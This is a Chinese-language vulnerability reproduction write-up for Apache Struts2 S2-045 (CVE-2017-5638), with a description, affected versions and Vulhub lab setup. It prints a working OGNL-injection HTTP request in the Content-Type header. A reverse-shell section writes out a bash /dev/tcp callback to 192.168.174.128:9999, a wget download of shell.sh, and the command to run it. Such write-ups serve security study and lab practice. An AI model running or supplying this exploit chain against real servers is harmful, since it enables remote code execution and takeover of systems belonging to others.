# Apache Struts2 S2-045 远程代码执行漏洞 CVE-2017-5638
|
||
|
||
## 漏洞描述
|
||
|
||
基于 Jakarta Multipart parser 的文件上传模块在处理文件上传（multipart）的请求时候对异常信息做了捕获，并对异常信息做了 OGNL 表达式处理。但在在判断 content-type 不正确的时候会抛出异常并且带上 Content-Type 属性值，可通过精心构造附带 OGNL 表达式的 URL 导致远程代码执行。
|
||
|
||
漏洞详情:
|
||
|
||
- http://struts.apache.org/docs/s2-045.html
|
||
- https://blog.csdn.net/u011721501/article/details/60768657
|
||
- https://paper.seebug.org/247/
|
||
|
||
## 漏洞影响
|
||
|
||
影响版本: Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10
|
||
|
||
## 环境搭建
|
||
|
||
Vulhub 执行以下命令启动 s2-045 测试环境：
|
||
|
||
```
|
||
docker-compose build
|
||
docker-compose up -d
|
||
```
|
||
|
||
环境启动后，访问 `http://your-ip:8080` 即可看到上传页面。
|
||
|
||
## 漏洞复现
|
||
|
||
直接发送如下数据包，可见 `233*233` 已成功执行：
|
||
|
||
```
|
||
POST / HTTP/1.1
|
||
Host: localhost:8080
|
||
Upgrade-Insecure-Requests: 1
|
||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
|
||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
|
||
Accept-Language: en-US,en;q=0.8,es;q=0.6
|
||
Connection: close
|
||
Content-Length: 0
|
||
Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data
|
||
```
|
||
|
||
|
||
|
||
### 反弹 shell
|
||
|
||
编写 shell 脚本并启动 http 服务器：
|
||
|
||
```
|
||
echo "bash -i >& /dev/tcp/192.168.174.128/9999 0>&1" > shell.sh
|
||
python3环境下：python -m http.server 80
|
||
```
|
||
|
||
上传 shell.sh 文件的命令为：
|
||
|
||
```
|
||
wget 192.168.174.128/shell.sh
|
||
```
|
||
|
||
通过漏洞 EXP 执行以上命令：
|
||
|
||
|
||
|
||
执行 shell.sh 文件的命令为：
|
||
|
||
```
|
||
bash shell.sh
|
||
```
|
||
|
||
通过漏洞 EXP 执行以上命令：
|
||
|
||
|
||
|
||
成功接收反弹 shell：
